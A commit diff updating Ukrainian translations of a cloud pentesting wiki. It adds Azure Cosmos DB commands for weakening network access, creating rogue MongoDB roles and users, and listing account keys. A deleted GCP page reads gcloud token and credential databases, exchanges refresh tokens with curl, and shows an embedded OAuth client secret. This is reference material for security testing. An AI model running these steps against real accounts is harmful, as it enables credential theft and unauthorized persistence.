Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-20 23:14:40 +00:00
parent 6f3294e8d0
commit ac05152b2a
7 changed files with 72 additions and 196 deletions

View File

@@ -142,7 +142,7 @@
- [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
- [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
- [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
- [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
- [GCP - Token Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md)
- [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
- [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
- [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
@@ -458,8 +458,8 @@
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - MySQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -489,8 +489,8 @@
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
- [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)

View File

@@ -1,29 +0,0 @@
# Az - Queue Storage Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Queue
Для отримання додаткової інформації перегляньте:
{{#ref}}
../az-services/az-queue.md
{{#endref}}
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Ця дозволена дія дозволяє зловмиснику створювати або змінювати черги та їх властивості в межах облікового запису зберігання. Її можна використовувати для створення несанкціонованих черг, зміни метаданих або зміни списків контролю доступу (ACL), щоб надати або обмежити доступ. Ця можливість може порушити робочі процеси, ввести шкідливі дані, ексфільтрувати чутливу інформацію або маніпулювати налаштуваннями черги для подальших атак.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## Посилання
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,20 +0,0 @@
# Az - SQL Persistence
{{#include ../../../banners/hacktricks-training.md}}
## SQL
Для отримання додаткової інформації перегляньте:
{{#ref}}
../az-services/az-sql.md
{{#endref}}
### Загальні техніки збереження
- Скомпрометувати облікові дані SQL або створити користувача SQL (включити SQL автентифікацію за потреби)
- Призначити скомпрометованого користувача адміністратором Entra ID (включити автентифікацію Entra ID за потреби)
- Задня дверцята у VM (якщо використовується SQL VM)
- Створити правило FW для підтримки доступу до бази даних SQL
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,13 +11,26 @@
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
З цією дозволом ви можете створювати або оновлювати облікові записи Azure Cosmos DB. Це включає зміну налаштувань на рівні облікового запису, додавання або видалення регіонів, зміну рівнів узгодженості та увімкнення або вимкнення функцій, таких як записи в кількох регіонах.
З цією дозволом ви можете створювати або оновлювати облікові записи Azure Cosmos DB. Це включає зміну конфігурацій на рівні облікового запису, увімкнення або вимкнення автоматичного переключення на резервування, управління контролем доступу до мережі, налаштування політик резервного копіювання та коригування рівнів узгодженості. Зловмисники з цим дозволом можуть змінювати налаштування, щоб послабити контроль безпеки, порушити доступність або ексфільтрувати дані, змінюючи мережеві правила.
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
```bash
az cosmosdb update \
--account-name <account_name> \
--resource-group <resource_group_name> \
--capabilities EnableMongoRoleBasedAccessControl
```
Додатково ви можете увімкнути керовані ідентичності в обліковому записі:
```bash
az cosmosdb identity assign \
--name <cosmosdb_account_name> \
--resource-group <resource_group_name>
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
З цією дозволом ви можете створювати або змінювати контейнери (колекції) в SQL базі даних облікового запису Azure Cosmos DB. Контейнери використовуються для зберігання даних, і зміни в них можуть вплинути на структуру бази даних та шаблони доступу.
```bash
@@ -119,52 +132,4 @@ az cosmosdb mongodb database create \
--resource-group <resource_group_name> \
--name <database_name>
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
З цією дозволом ви можете створювати нові визначення ролей MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє визначати користувацькі ролі з конкретними дозволами для користувачів MongoDB.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
З цією дозволом ви можете створювати нові визначення користувачів MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє надавати користувачам конкретні ролі та рівні доступу до баз даних MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "myUser",
"Password": "mySecurePassword",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,7 +11,7 @@
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
З цими дозволами ви можете підвищити привілеї, надаючи користувачу дозволи на виконання запитів і підключення до бази даних. Спочатку створюється роль визначення, що надає необхідні дозволи та області.
З цими дозволами ви можете підвищити привілеї, надаючи користувачу дозволи на виконання запитів та підключення до бази даних. Спочатку створюється роль визначення, що надає необхідні дозволи та області.
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
З цією дозволом ви можете створювати нові визначення ролей MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє визначати користувацькі ролі з конкретними дозволами для користувачів MongoDB. Функціональність RBAC повинна бути увімкнена для використання цього.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
Ви можете створювати нові визначення користувачів MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє надавати користувачам конкретні ролі та доступ до баз даних MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
Після цього новий користувач створюється в MongoDB, ми можемо отримати до нього доступ:
```bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
З цією дозволом ви можете отримати первинні та вторинні ключі для облікового запису Azure Cosmos DB. Ці ключі надають повний доступ до облікового запису бази даних та його ресурсів, що дозволяє виконувати такі дії, як читання даних, запис та зміни конфігурації.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,90 +0,0 @@
# GCP - Токен Постійності
{{#include ../../../banners/hacktricks-training.md}}
### Токени Аутентифікованого Користувача
Щоб отримати **поточний токен** користувача, ви можете виконати:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Перевірте на цій сторінці, як **безпосередньо використовувати цей токен за допомогою gcloud**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Щоб отримати деталі для **генерації нового токена доступу**, виконайте:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Також можливо знайти токени оновлення в **`$HOME/.config/gcloud/application_default_credentials.json`** та в **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Щоб отримати новий оновлений токен доступу з **токеном оновлення**, ідентифікатором клієнта та секретом клієнта, виконайте:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
Термін дії токенів оновлення можна керувати в **Admin** > **Security** > **Google Cloud session control**, і за замовчуванням він встановлений на 16 годин, хоча його можна налаштувати так, щоб він ніколи не закінчувався:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
Потік аутентифікації при використанні чогось на кшталт `gcloud auth login` відкриє запит у браузері, і після прийняття всіх областей браузер надішле запит, подібний до цього, на http-порт, відкритий інструментом:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Тоді gcloud використовуватиме стан і код з деяким зашитим `client_id` (`32555940559.apps.googleusercontent.com`) та **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`), щоб отримати **останні дані токена оновлення**.
> [!CAUTION]
> Зверніть увагу, що зв'язок з localhost здійснюється через HTTP, тому можливо перехопити дані для отримання токена оновлення, однак ці дані дійсні лише 1 раз, тому це буде марно, легше просто прочитати токен оновлення з файлу.
### OAuth Scopes
Ви можете знайти всі Google scopes на [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) або отримати їх, виконавши:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Можна побачити, які області підтримує програма, яку **`gcloud`** використовує для аутентифікації, за допомогою цього скрипта:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Після виконання було перевірено, що цей додаток підтримує ці області:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
цікаво бачити, як цей додаток підтримує **`drive`** область, що може дозволити користувачу ескалувати з GCP до Workspace, якщо зловмисник зможе змусити користувача згенерувати токен з цією областю.
**Перевірте, як** [**зловживати цим тут**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Облікові записи служб
Так само, як і з автентифікованими користувачами, якщо вам вдасться **зламати приватний ключ** облікового запису служби, ви зможете **доступати до нього зазвичай так довго, як вам потрібно**.\
Однак, якщо ви вкрадете **OAuth токен** облікового запису служби, це може бути ще цікавіше, оскільки, навіть якщо за замовчуванням ці токени корисні лише протягом години, якщо **жертва видалить приватний API ключ, OAuth токен залишиться дійсним до його закінчення терміну дії**.
### Метадані
Очевидно, поки ви знаходитесь всередині машини, що працює в середовищі GCP, ви зможете **доступати до облікового запису служби, прикріпленого до цієї машини, звертаючись до кінцевої точки метаданих** (зверніть увагу, що токени Oauth, до яких ви можете отримати доступ на цій кінцевій точці, зазвичай обмежені областями).
### Заходи щодо усунення
Деякі заходи щодо усунення цих технік пояснені в [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Посилання
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}